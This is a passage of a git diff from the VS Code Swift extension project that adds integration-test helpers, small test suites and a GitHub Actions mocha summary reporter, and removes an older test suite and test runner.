+ await asyncLogWrapper(`Adding ${asset} to workspace...`, () => + folderInRootWorkspace(asset, workspaceContext) + ); + } + activationLogger.info(`All assets added to workspace.`); + } else if (expectedAssets.length > 0) { + await new Promise(res => { + const found: string[] = []; + for (const f of workspaceContext.folders) { + if (found.includes(f.name) || !expectedAssets.includes(f.name)) { + continue; + } + activationLogger.info(`Added ${f.name} to workspace`); + found.push(f.name); + } + if (expectedAssets.length === found.length) { + res(); + return; + } + const disposable = workspaceContext.onDidChangeFolders(e => { + if ( + e.operation !== FolderOperation.add || + found.includes(e.folder!.name) || + !expectedAssets.includes(e.folder!.name) + ) { + return; + } + activationLogger.info(`Added ${e.folder!.name} to workspace`); + found.push(e.folder!.name); + if (expectedAssets.length === found.length) { + res(); + disposable.dispose(); + } + }); + }); + activationLogger.info(`All assets added to workspace.`); + } + + return workspaceContext; + }, + deactivateExtension: async () => { + if (!activatedAPI) { + throw new Error("Extension is not activated. Call activateExtension() first."); + } + + // Wait for up to 10 seconds for all tasks to complete before deactivating. + // Long running tasks should be avoided in tests, but this is a safety net. + await asyncLogWrapper(`Deactivating extension, waiting for no running tasks.`, () => + waitForNoRunningTasks({ timeout: 10000 }) + ); + + // Close all editors before deactivating the extension. + await asyncLogWrapper(`Closing all editors.`, () => closeAllEditors()); + + await asyncLogWrapper( + `Removing root workspace folder.`, + () => + activatedAPI!.workspaceContext?.removeWorkspaceFolder( + getRootWorkspaceFolder() + ) ?? Promise.resolve() + ); + activationLogger.info(`Running extension deactivation function.`); + await activatedAPI.deactivate(); + activationLogger.reset(); + activatedAPI = undefined; + lastTestName = undefined; + }, + + activateExtensionForSuite: function (config?: { + setup?: ( + this: Mocha.Context, + ctx: WorkspaceContext + ) => Promise<(() => Promise) | void>; + teardown?: (this: Mocha.Context) => Promise; + testAssets?: string[]; + requiresLSP?: boolean; + requiresDebugger?: boolean; + }) { + testRunnerSetup( + mocha.before, + config?.setup, + mocha.after, + config?.teardown, + config?.testAssets, + config?.requiresLSP, + config?.requiresDebugger + ); + }, + + activateExtensionForTest: function (config?: { + setup?: ( + this: Mocha.Context, + ctx: WorkspaceContext + ) => Promise<(() => Promise) | void>; + teardown?: (this: Mocha.Context) => Promise; + testAssets?: string[]; + requiresLSP?: boolean; + requiresDebugger?: boolean; + }) { + testRunnerSetup( + mocha.beforeEach, + config?.setup, + mocha.afterEach, + config?.teardown, + config?.testAssets, + config?.requiresLSP, + config?.requiresDebugger + ); + }, + }; +})(); + +/** + * Activate the extension in tests. + */ +export const activateExtension = extensionBootstrapper.activateExtension; + +/** + * Deactivates the extension in tests. + */ +export const deactivateExtension = extensionBootstrapper.deactivateExtension; + +/** + * Activates the extension for the duration of the suite, deactivating it when the suite completes. + */ +export const activateExtensionForSuite = extensionBootstrapper.activateExtensionForSuite; + +/* + * Activates the extension for the duration of the test, deactivating it when the test completes. + */ +export const activateExtensionForTest = extensionBootstrapper.activateExtensionForTest; + +/** + * Given a name of a folder in the root test workspace, adds that folder to the + * workspace context and then returns the folder context. + * @param name The name of the folder in the root workspace + * @param workspaceContext The existing workspace context + * @returns The folder context for the folder in the root workspace + */ +export const folderInRootWorkspace = async ( + name: string, + workspaceContext: WorkspaceContext +): Promise => { + const workspaceFolder = getRootWorkspaceFolder(); + let folder = workspaceContext.folders.find(f => f.relativePath === name); + if (!folder) { + workspaceContext.logger.info(`${name} not found, adding folder ${name} to workspace`); + folder = await workspaceContext.addPackageFolder(testAssetUri(name), workspaceFolder); + } else { + workspaceContext.logger.info(`${name} found, reusing existing folder`); + } + + // Folders that aren't packages (i.e. assets/tests/scripts) wont generate build tasks. + if (!(await fileExists(path.join(testAssetUri(name).fsPath, "Package.swift")))) { + return folder; + } + + let i = 0; + while (i++ < 5) { + const tasks = await vscode.tasks.fetchTasks({ type: "swift" }); + const buildAllName = buildAllTaskName(folder, false); + if (tasks.find(t => t.name === buildAllName)) { + break; + } + await new Promise(r => setTimeout(r, 5000)); + } + return folder; +}; + +export function findWorkspaceFolder( + name: string, + workspaceContext: WorkspaceContext +): FolderContext | undefined { + return workspaceContext.folders.find(f => f.folder.fsPath === testAssetPath(name)); +} + +export type SettingsMap = { [key: string]: unknown }; + +/** + * Updates VS Code workspace settings and provides a callback to revert them. This + * should be called before the extension is activated. + * + * This function modifies VS Code workspace settings based on the provided + * `settings` object. Each key in the `settings` object corresponds to a setting + * name in the format "section.name", and the value is the new setting value to be applied. + * The original settings are stored, and a callback is returned, which when invoked, + * reverts the settings back to their original values. + * + * @param settings - A map where each key is a string representing the setting name in + * "section.name" format, and the value is the new setting value. + * @returns A function that, when called, resets the settings back to their original values. + */ +export async function updateSettings(settings: SettingsMap): Promise<() => Promise> { + const applySettings = async (settings: SettingsMap) => { + const savedOriginalSettings: SettingsMap = {}; + for (const setting of Object.keys(settings)) { + const { section, name } = decomposeSettingName(setting); + const config = vscode.workspace.getConfiguration(section, { languageId: "swift" }); + const inspectedSetting = vscode.workspace + .getConfiguration(section, { languageId: "swift" }) + .inspect(name); + savedOriginalSettings[setting] = inspectedSetting?.workspaceValue; + await config.update( + name, + !settings[setting] ? undefined : settings[setting], + vscode.ConfigurationTarget.Workspace + ); + } + + // There is actually a delay between when the config.update promise resolves and when + // the setting is actually written. If we exit this function right away the test might + // start before the settings are actually written. Verify that all the settings are set + // to their new value before continuing. + for (const setting of Object.keys(settings)) { + const { section, name } = decomposeSettingName(setting); + // If the setting is being unset then its possible the setting will evaluate to the + // default value, and so we should be checking to see if its switched to that instead. + const expected = !settings[setting] + ? (vscode.workspace.getConfiguration(section, { languageId: "swift" }).inspect(name) + ?.defaultValue ?? settings[setting]) + : settings[setting]; + + while ( + !isConfigurationSuperset( + vscode.workspace.getConfiguration(section, { languageId: "swift" }).get(name), + expected + ) + ) { + // Not yet, wait a bit and try again. + await new Promise(resolve => setTimeout(resolve, 30)); + } + } + + return savedOriginalSettings; + }; + + // Updates the settings + const savedOriginalSettings = await applySettings(settings); + + // Clients call the callback to reset updated settings to their original value + return async () => { + await applySettings(savedOriginalSettings); + }; +} + +function decomposeSettingName(setting: string): { section: string; name: string } { + const splitNames = setting.split("."); + const name = splitNames.pop(); + const section = splitNames.join("."); + if (name === undefined) { + throw new Error(`Invalid setting name: ${setting}, must be in the form swift.settingName`); + } + return { section, name }; +} + +/** + * Performs a deep comparison between a configuration value and an expected value. + * Supports superset comparisons for objects and arrays, and strict equality for primitives. + * + * @param configValue The configuration value to compare + * @param expected The expected value to compare against + * @returns true if the configuration value matches or is a superset of the expected value, false otherwise + */ +export function isConfigurationSuperset(configValue: unknown, expected: unknown): boolean { + // Handle null cases + if (configValue === null || expected === null) { + return configValue === expected; + } + + // If both values are undefined, they are considered equal + if (configValue === undefined && expected === undefined) { + return true; + } + + // If expected is undefined but configValue is not, they are not equal + if (expected === undefined) { + return false; + } + + // If configValue is undefined but expected is not, they are not equal + if (configValue === undefined) { + return false; + } + + // Use isDeepStrictEqual for primitive types + if (typeof configValue !== "object" || typeof expected !== "object") { + return isDeepStrictEqual(configValue, expected); + } + + // Handle arrays + if (Array.isArray(configValue) && Array.isArray(expected)) { + // Check if configValue contains all elements from expected + return expected.every(expectedItem => + configValue.some(configItem => isConfigurationSuperset(configItem, expectedItem)) + ); + } + + // Handle objects + if ( + typeof configValue === "object" && + typeof expected === "object" && + configValue !== null && + expected !== null && + !Array.isArray(configValue) && + !Array.isArray(expected) + ) { + // Ensure we're working with plain objects + const configObj = configValue as Record; + const expectedObj = expected as Record; + + // Check if all expected properties exist in configValue with matching or superset values + return Object.keys(expectedObj).every(key => { + // If the key doesn't exist in configValue, return false + if (!(key in configObj)) { + return false; + } + + // Recursively check the value + return isConfigurationSuperset(configObj[key], expectedObj[key]); + }); + } + + // If types don't match (one is array, one is object), return false + return false; +} + +/** + * Creates a logging wrapper function that wraps async operations with prefixed start/end logging messages. + * Logs when the operation starts, completes successfully, or fails with an error. + * + * @param logger The logger object that must have an `info` method for logging messages + * @returns A wrapper function that takes a prefix and async work function, returning a promise that resolves to the result of the async work + */ +export function withLogging(logger: { info: (message: string) => void }) { + return async function (prefix: string, asyncWork: () => Thenable): Promise { + logger.info(`${prefix} - starting`); + try { + const result = await asyncWork(); + logger.info(`${prefix} - completed`); + return result; + } catch (error) { + logger.info(`${prefix} - failed: ${error}`); + throw error; + } + }; +} diff --git a/test/integration-tests/utilities/utilities.test.ts b/test/integration-tests/utilities/utilities.test.ts new file mode 100644 index 000000000..6c5da09af --- /dev/null +++ b/test/integration-tests/utilities/utilities.test.ts @@ -0,0 +1,40 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import * as Stream from "stream"; + +import { execFileStreamOutput, execSwift, getSwiftExecutable } from "@src/utilities/utilities"; + +suite("Utilities Test Suite", () => { + test("execFileStreamOutput", async () => { + const swift = getSwiftExecutable(); + let result = ""; + // Use WriteStream to log results + const writeStream = new Stream.Writable(); + writeStream._write = (chunk, _encoding, next) => { + const text = chunk.toString("utf8"); + result += text; + next(); + }; + writeStream.on("close", () => { + writeStream.end(); + }); + + const { stdout } = await execSwift(["--version"], "default"); + await execFileStreamOutput(swift, ["--version"], writeStream, null, null); + assert(result.length > 0); + assert(result.includes("Swift version")); + assert.strictEqual(result, stdout); + }); +}); diff --git a/test/integration-tests/utilities/workspace.test.ts b/test/integration-tests/utilities/workspace.test.ts new file mode 100644 index 000000000..5c4fef720 --- /dev/null +++ b/test/integration-tests/utilities/workspace.test.ts @@ -0,0 +1,37 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as vscode from "vscode"; + +import { Version } from "@src/utilities/version"; +import { searchForPackages } from "@src/utilities/workspace"; + +suite("Workspace Utilities Test Suite", () => { + suite("searchForPackages", () => { + const testSwiftVersion = new Version(5, 9, 0); + + test("ignores excluded file", async () => { + const folders = await searchForPackages( + (vscode.workspace.workspaceFolders ?? [])[0]!.uri, + false, + true, + [], + testSwiftVersion + ); + + expect(folders.find(f => f.fsPath.includes("defaultPackage"))).to.not.be.undefined; + expect(folders.find(f => f.fsPath.includes("excluded"))).to.be.undefined; + }); + }); +}); diff --git a/test/reporters/GitHubActionsSummaryReporter.ts b/test/reporters/GitHubActionsSummaryReporter.ts new file mode 100644 index 000000000..91ebba795 --- /dev/null +++ b/test/reporters/GitHubActionsSummaryReporter.ts @@ -0,0 +1,179 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { diffLines } from "diff"; +import * as fs from "fs"; +import * as mocha from "mocha"; + +const SUMMARY_ENV_VAR = "GITHUB_STEP_SUMMARY"; + +interface AssertionError extends Error { + showDiff?: boolean; + actual: string; + expected: string; +} + +function isAssertionError(err: Error): err is AssertionError { + return typeof (err as any).actual === "string" && typeof (err as any).expected === "string"; +} + +module.exports = class GitHubActionsSummaryReporter extends mocha.reporters.Base { + private _summaryFilePath: string | null | undefined; + get summaryFilePath(): string | null | undefined { + if (this._summaryFilePath !== undefined) { + return this._summaryFilePath; + } + + const summaryPath = process.env[SUMMARY_ENV_VAR]; + if (!summaryPath) { + this._summaryFilePath = null; + return null; + } + + try { + fs.accessSync(summaryPath, fs.constants.R_OK | fs.constants.W_OK); + } catch { + this._summaryFilePath = null; + return null; + } + + this._summaryFilePath = summaryPath; + return summaryPath; + } + + constructor(runner: Mocha.Runner, options: any) { + super(runner, options); + + const EVENT_RUN_END = mocha.Runner.constants.EVENT_RUN_END; + runner.on(EVENT_RUN_END, () => { + const title = options.reporterOption.title ?? "Test Summary"; + this.appendSummary(createMarkdownSummary(title, this.stats, this.failures)); + }); + } + + // Appends to the summary file synchronously since mocha does not support + // asynchronous reporters. + appendSummary(summary: string) { + if (!this.summaryFilePath) { + return; + } + fs.appendFileSync(this.summaryFilePath, summary, { encoding: "utf8" }); + } +}; + +function fullTitle(test: Mocha.Test | Mocha.Suite): string { + if (test.parent && test.parent.title) { + return fullTitle(test.parent) + " | " + test.title; + } + return test.title; +} + +function generateErrorMessage(failure: Mocha.Test): string { + if (!failure.err) { + return "The test did not report what the error was."; + } + + const stackTraceFilter = mocha.utils.stackTraceFilter(); + if (isAssertionError(failure.err) && failure.err.showDiff) { + const { message, stack } = splitStackTrace(failure.err); + return ( + message + + eol() + + generateDiff(failure.err.actual, failure.err.expected) + + eol() + + eol() + + stackTraceFilter(stack) + ); + } + if (failure.err.stack) { + return stackTraceFilter(failure.err.stack); + } + return mocha.utils.stringify(failure.err); +} + +function splitStackTrace(error: Error): { message: string; stack: string } { + if (!error.stack) { + return { message: error.message, stack: "" }; + } + + const indexOfMessage = error.stack.lastIndexOf(error.message); + const endIndexOfMessage = indexOfMessage + error.message.length; + return { + message: error.stack.substring(0, endIndexOfMessage), + stack: error.stack.substring(endIndexOfMessage + 1), + }; +} + +function generateDiff(actual: string, expected: string) { + return [ + "🟩 expected 🟥 actual\n\n", + ...diffLines(expected, actual).map(part => { + if (part.added) { + return "🟩" + part.value; + } + if (part.removed) { + return "🟥" + part.value; + } + return part.value; + }), + ].join(""); +} + +function tag(tag: string, attributes: string[], content: string): string { + return `<${tag}${attributes.length > 0 ? ` ${attributes.join(" ")}` : ""}>${content}`; +} + +function details(summary: string, open: boolean, content: string): string { + return tag( + "details", + open ? ["open"] : [], + eol() + tag("summary", [], summary) + eol() + content + eol() + ); +} + +function list(lines: string[]): string { + return tag("ul", [], eol() + lines.map(line => tag("li", [], line)).join(eol()) + eol()); +} + +function eol(): string { + if (process.platform === "win32") { + return "\r\n"; + } + return "\n"; +} + +function createMarkdownSummary(title: string, stats: Mocha.Stats, failures: Mocha.Test[]): string { + const isFailedRun = stats.failures > 0; + let summary = tag("h3", [], "Summary") + eol(); + summary += list([ + ...(stats.passes > 0 ? [`✅ ${stats.passes} passing test(s)`] : []), + ...(stats.failures > 0 ? [`❌ ${stats.failures} failing test(s)`] : []), + ...(stats.pending > 0 ? [`⚠️ ${stats.pending} pending test(s)`] : []), + ]); + if (isFailedRun) { + summary += tag("h3", [], "Test Failures"); + summary += list( + failures.map(failure => { + const errorMessage = generateErrorMessage(failure); + return ( + eol() + + tag("h5", [], fullTitle(failure)) + + eol() + + tag("pre", [], eol() + errorMessage + eol()) + + eol() + ); + }) + ); + } + return details(`${isFailedRun ? "❌" : "✅"} ${title}`, isFailedRun, summary) + eol(); +} diff --git a/test/runTest.ts b/test/runTest.ts deleted file mode 100644 index a4af7b377..000000000 --- a/test/runTest.ts +++ /dev/null @@ -1,65 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VSCode Swift open source project -// -// Copyright (c) 2021 the VSCode Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// - -import * as cp from "child_process"; -import * as path from "path"; -import { - runTests, - downloadAndUnzipVSCode, - resolveCliPathFromVSCodeExecutablePath, -} from "@vscode/test-electron"; - -async function main() { - try { - // The folder containing the Extension Manifest package.json - // Passed to `--extensionDevelopmentPath` - const extensionDevelopmentPath = path.resolve(__dirname, "../../"); - - // The path to test runner - // Passed to --extensionTestsPath - const extensionTestsPath = path.resolve(__dirname, "./suite/index"); - - const vscodeExecutablePath = await downloadAndUnzipVSCode(); - const cliPath = resolveCliPathFromVSCodeExecutablePath(vscodeExecutablePath); - - // Use cp.spawn / cp.exec for custom setup - console.log(`${cliPath} --install-extension vadimcn.vscode-lldb`); - const { stdout, stderr } = cp.spawnSync( - cliPath, - ["--install-extension", "vadimcn.vscode-lldb"], - { - encoding: "utf-8", - stdio: "inherit", - } - ); - console.log(stdout); - console.log(stderr); - - // Download VS Code, unzip it and run the integration test - await runTests({ - extensionDevelopmentPath, - extensionTestsPath, - launchArgs: [ - // Already start in the fixtures dir because we lose debugger connection - // once we re-open a different folder due to window reloading - path.join(extensionDevelopmentPath, "assets/test"), - ], - }); - } catch (err) { - console.error("Failed to run tests"); - process.exit(1); - } -} - -main(); diff --git a/test/suite/SwiftPackage.test.ts b/test/suite/SwiftPackage.test.ts deleted file mode 100644 index 0a872cc1c..000000000 --- a/test/suite/SwiftPackage.test.ts +++ /dev/null @@ -1,66 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VSCode Swift open source project -// -// Copyright (c) 2021 the VSCode Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// - -import * as assert from "assert"; -import { testAssetUri } from "../fixtures"; -import { SwiftPackage } from "../../src/SwiftPackage"; -import { SwiftToolchain } from "../../src/toolchain/toolchain"; -import { Version } from "../../src/utilities/version"; - -let toolchain: SwiftToolchain | undefined; - -suite("SwiftPackage Test Suite", () => { - setup(async () => { - toolchain = await SwiftToolchain.create(); - }); - - test("No package", async () => { - const spmPackage = await SwiftPackage.create(testAssetUri("empty-folder")); - assert.strictEqual(spmPackage.foundPackage, false); - }).timeout(10000); - - test("Invalid package", async () => { - const spmPackage = await SwiftPackage.create(testAssetUri("invalid-package")); - assert.strictEqual(spmPackage.foundPackage, true); - assert.strictEqual(spmPackage.isValid, false); - }).timeout(10000); - - test("Executable package", async () => { - const spmPackage = await SwiftPackage.create(testAssetUri("package1")); - assert.strictEqual(spmPackage.isValid, true); - assert.strictEqual(spmPackage.executableProducts.length, 1); - assert.strictEqual(spmPackage.executableProducts[0].name, "package1"); - assert.strictEqual(spmPackage.dependencies.length, 1); - assert.strictEqual(spmPackage.targets.length, 2); - assert(spmPackage.resolved !== undefined); - }).timeout(10000); - - test("Library package", async () => { - const spmPackage = await SwiftPackage.create(testAssetUri("package2")); - assert.strictEqual(spmPackage.isValid, true); - assert.strictEqual(spmPackage.libraryProducts.length, 1); - assert.strictEqual(spmPackage.libraryProducts[0].name, "package2"); - assert.strictEqual(spmPackage.dependencies.length, 0); - assert.strictEqual(spmPackage.targets.length, 2); - }).timeout(10000); - - test("Package resolve v2", async () => { - if (toolchain && toolchain.swiftVersion < new Version(5, 6, 0)) { - return; - } - const spmPackage = await SwiftPackage.create(testAssetUri("package5.6")); - assert.strictEqual(spmPackage.isValid, true); - assert(spmPackage.resolved !== undefined); - }).timeout(15000); -}); diff --git a/test/suite/WorkspaceContext.test.ts b/test/suite/WorkspaceContext.test.ts deleted file mode 100644 index cb9a01f86..000000000 --- a/test/suite/WorkspaceContext.test.ts +++ /dev/null @@ -1,116 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VSCode Swift open source project -// -// Copyright (c) 2021-2022 the VSCode Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; -import * as assert from "assert"; -import { testAssetUri, testAssetWorkspaceFolder } from "../fixtures"; -import { FolderEvent, WorkspaceContext } from "../../src/WorkspaceContext"; -import { createBuildAllTask, platformDebugBuildOptions } from "../../src/SwiftTaskProvider"; - -suite("WorkspaceContext Test Suite", () => { - let workspaceContext: WorkspaceContext; - const subscriptions: { dispose(): unknown }[] = []; - const packageFolder: vscode.WorkspaceFolder = testAssetWorkspaceFolder("package1"); - - suiteSetup(async () => { - workspaceContext = await WorkspaceContext.create(); - await workspaceContext.addWorkspaceFolder(packageFolder); - subscriptions.push(workspaceContext); - }); - - suiteTeardown(async () => { - workspaceContext?.removeFolder(packageFolder); - subscriptions.forEach(sub => sub.dispose()); - }); - - suite("Folder Events", () => { - test("Add/Remove", async () => { - assert.strictEqual(workspaceContext.folders.length, 1); - let count = 0; - const observer = workspaceContext?.observeFolders((folder, operation) => { - assert(folder !== null); - assert.strictEqual(folder.swiftPackage.name, "package2"); - switch (operation) { - case FolderEvent.add: - count++; - break; - case FolderEvent.remove: - count--; - break; - } - }); - const packageFolder = testAssetWorkspaceFolder("package2"); - await workspaceContext?.addWorkspaceFolder(packageFolder); - assert.strictEqual(count, 1); - await workspaceContext?.removeFolder(packageFolder); - assert.strictEqual(count, 0); - observer?.dispose(); - }).timeout(5000); - }); - - suite("Tasks", async () => { - const swiftConfig = vscode.workspace.getConfiguration("swift"); - - suiteTeardown(async () => { - await swiftConfig.update("buildArguments", undefined); - await swiftConfig.update("path", undefined); - }); - - test("Default Task values", async () => { - const folder = workspaceContext.folders.find(f => f.workspaceFolder === packageFolder); - assert(folder); - const buildAllTask = createBuildAllTask(folder); - const execution = buildAllTask.execution as vscode.ShellExecution; - assert.strictEqual(buildAllTask.definition.type, "swift"); - assert.strictEqual(buildAllTask.name, "Build All"); - assert.notStrictEqual(execution?.args, [ - "build", - "--build-tests", - ...platformDebugBuildOptions(), - ]); - assert.strictEqual(buildAllTask.scope, packageFolder); - }); - - test("Build Settings", async () => { - const folder = workspaceContext.folders.find(f => f.workspaceFolder === packageFolder); - assert(folder); - await swiftConfig.update("buildArguments", ["--sanitize=thread"]); - const buildAllTask = createBuildAllTask(folder); - const execution = buildAllTask.execution as vscode.ShellExecution; - assert.notStrictEqual(execution?.args, [ - "build", - "--build-tests", - ...platformDebugBuildOptions(), - "--sanitize=thread", - ]); - }); - - test("Swift Path", async () => { - const folder = workspaceContext.folders.find(f => f.workspaceFolder === packageFolder); - assert(folder); - await swiftConfig.update("path", "/usr/bin/swift"); - const buildAllTask = createBuildAllTask(folder); - const execution = buildAllTask.execution as vscode.ShellExecution; - assert.notStrictEqual(execution?.command, "/usr/bin/swift"); - }); - }); - - suite("Language Server", async () => { - test("Server Start", async () => { - await workspaceContext.focusFolder(workspaceContext.folders[0]); - const lspWorkspaceFolder = workspaceContext.languageClientManager.workspaceFolder; - assert.notStrictEqual(lspWorkspaceFolder, testAssetUri("package1")); - }); - }); -}).timeout(5000); diff --git a/test/suite/extension.test.ts b/test/suite/extension.test.ts deleted file mode 100644 index 016c5d18b..000000000 --- a/test/suite/extension.test.ts +++ /dev/null @@ -1,88 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VSCode Swift open source project -// -// Copyright (c) 2021-2022 the VSCode Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; -import * as assert from "assert"; -import * as fs from "fs/promises"; -import * as swiftExtension from "../../src/extension"; -import { WorkspaceContext } from "../../src/WorkspaceContext"; -import { testAssetPath } from "../fixtures"; -import { getBuildAllTask } from "../../src/SwiftTaskProvider"; - -suite("Extension Test Suite", () => { - let workspaceContext: WorkspaceContext; - - suiteSetup(async () => { - const ext = vscode.extensions.getExtension("sswg.swift-lang")!; - const api = await ext.activate(); - workspaceContext = api.workspaceContext; - }); - - suite("Temporary Folder Test Suite", () => { - test("Create/Delete File", async () => { - const fileContents = "Test file"; - //const tempFolder = await TemporaryFolder.create(); - const fileName = workspaceContext.tempFolder.filename("test"); - assert.doesNotThrow(async () => await fs.writeFile(fileName, fileContents)); - assert.doesNotThrow(async () => { - const contents = await fs.readFile(fileName, "utf8"); - assert.strictEqual(contents, fileContents); - }); - assert.doesNotThrow(async () => await fs.rm(fileName)); - }).timeout(5000); - }); - - suite("Workspace", () => { - // test adding FolderContext based on active file - test("Active Document", async () => { - // This makes sure that we set the focus on the opened files which then - // adds the related package - await vscode.commands.executeCommand( - "workbench.action.quickOpen", - testAssetPath("package2/Sources/package2/package2.swift") - ); - await sleep(500); - - await vscode.commands.executeCommand("workbench.action.acceptSelectedQuickOpenItem"); - - // wait for results (allow for 7 seconds), check result every 100ms - let i = 0; - while (i < 70) { - await sleep(100); - if (workspaceContext.currentFolder) { - assert.strictEqual(workspaceContext.currentFolder.name, "test/package2"); - break; - } - i++; - } - assert.notStrictEqual(i, 70); - }).timeout(10000); - - test("Tasks.json", async () => { - const folder = workspaceContext.folders.find(f => f.name === "test/package2"); - assert(folder); - const buildAllTask = await getBuildAllTask(folder); - const execution = buildAllTask.execution as vscode.ShellExecution; - assert.strictEqual(buildAllTask.definition.type, "swift"); - assert.strictEqual(buildAllTask.name, "Build All (package2)"); - assert.notStrictEqual(execution?.args, ["build", "--build-tests", "--verbose"]); - }); - }); -}); - -async function sleep(ms: number): Promise { - return new Promise(resolve => { - setTimeout(resolve, ms); - }); -} diff --git a/test/suite/index.ts b/test/suite/index.ts deleted file mode 100644 index a344a8df7..000000000 --- a/test/suite/index.ts +++ /dev/null @@ -1,53 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VSCode Swift open source project -// -// Copyright (c) 2021 the VSCode Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// - -import * as path from "path"; -import * as Mocha from "mocha"; -import * as glob from "glob"; - -export function run(): Promise { - // Create the mocha test - const mocha = new Mocha({ - ui: "tdd", - color: true, - timeout: 3000, - }); - - const testsRoot = path.resolve(__dirname, ".."); - - return new Promise((c, e) => { - glob("**/**.test.js", { cwd: testsRoot }, (err, files) => { - if (err) { - return e(err); - } - - // Add files to the test suite - files.forEach(f => mocha.addFile(path.resolve(testsRoot, f))); - - try { - // Run the mocha test - mocha.run(failures => { - if (failures > 0) { - e(new Error(`${failures} tests failed.`)); - } else { - c(); - } - }); - } catch (err) { - console.error(err); - e(err); - } - }); - }); -} diff --git a/test/suite/utilities.test.ts b/test/suite/utilities.test.ts deleted file mode 100644 index fc8a44ab1..000000000 --- a/test/suite/utilities.test.ts +++ /dev/null @@ -1,198 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VSCode Swift open source project -// -// Copyright (c) 2021 the VSCode Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// - -import * as assert from "assert"; -import * as Stream from "stream"; -import { - ArgumentFilter, - execFileStreamOutput, - filterArguments, - getRepositoryName, - getSwiftExecutable, - isPathInsidePath, - buildPathFlags, - buildDirectoryFromWorkspacePath, - execSwift, -} from "../../src/utilities/utilities"; -import * as vscode from "vscode"; - -suite("Utilities Test Suite", () => { - suiteTeardown(async () => { - await vscode.workspace.getConfiguration("swift").update("buildPath", undefined); - }); - - test("getRepositoryName", () => { - // Regular case. - assert.strictEqual( - getRepositoryName("https://github.com/swift-server/vscode-swift.git"), - "vscode-swift" - ); - // URL does not end in .git. - assert.strictEqual( - getRepositoryName("https://github.com/swift-server/vscode-swift"), - "vscode-swift" - ); - // URL contains a trailing slash. - assert.strictEqual( - getRepositoryName("https://github.com/swift-server/vscode-swift.git/"), - "vscode-swift" - ); - // Name contains a dot. - assert.strictEqual( - getRepositoryName("https://github.com/swift-server/vscode.swift.git"), - "vscode.swift" - ); - // Name contains .git. - assert.strictEqual( - getRepositoryName("https://github.com/swift-server/vscode.git.git"), - "vscode.git" - ); - }); - - test("isPathInsidePath", () => { - assert(isPathInsidePath("/home/user/package", "/home/user/")); - assert(isPathInsidePath("/home/user/package/test", "/home/user/")); - assert(isPathInsidePath("/home/user/", "/home/user/")); - assert(isPathInsidePath("/home/user/.build", "/home/user/")); - assert(!isPathInsidePath("/home/user/package", "/home/user/package2")); - assert(!isPathInsidePath("/home/user/package/.build", "/home/user/package2/.build")); - assert(!isPathInsidePath("/home/user/package/", "/home/user/package/.build")); - }); - - test("execFileStreamOutput", async () => { - const swift = await getSwiftExecutable(); - let result = ""; - // Use WriteStream to log results - const writeStream = new Stream.Writable(); - writeStream._write = (chunk, encoding, next) => { - const text = chunk.toString("utf8"); - result += text; - next(); - }; - writeStream.on("close", () => { - writeStream.end(); - }); - - const { stdout } = await execSwift(["--version"]); - await execFileStreamOutput(swift, ["--version"], writeStream, null, null); - assert(result.length > 0); - assert(result.includes("Swift version")); - assert.strictEqual(result, stdout); - }); - - test("filterArguments", () => { - const argumentFilter: ArgumentFilter[] = [ - { argument: "-one", include: 1 }, - { argument: "-1", include: 1 }, - { argument: "-zero", include: 0 }, - { argument: "-two", include: 2 }, - ]; - assert.notStrictEqual(filterArguments(["-test", "this"], argumentFilter), []); - assert.notStrictEqual(filterArguments(["-test", "-zero"], argumentFilter), ["-zero"]); - assert.notStrictEqual(filterArguments(["-one", "inc1", "test"], argumentFilter), [ - "-one", - "inc1", - ]); - assert.notStrictEqual(filterArguments(["-two", "inc1", "inc2"], argumentFilter), [ - "-one", - "inc1", - "inc2", - ]); - assert.notStrictEqual( - filterArguments(["-ignore", "-one", "inc1", "test"], argumentFilter), - ["-one", "inc1"] - ); - assert.notStrictEqual( - 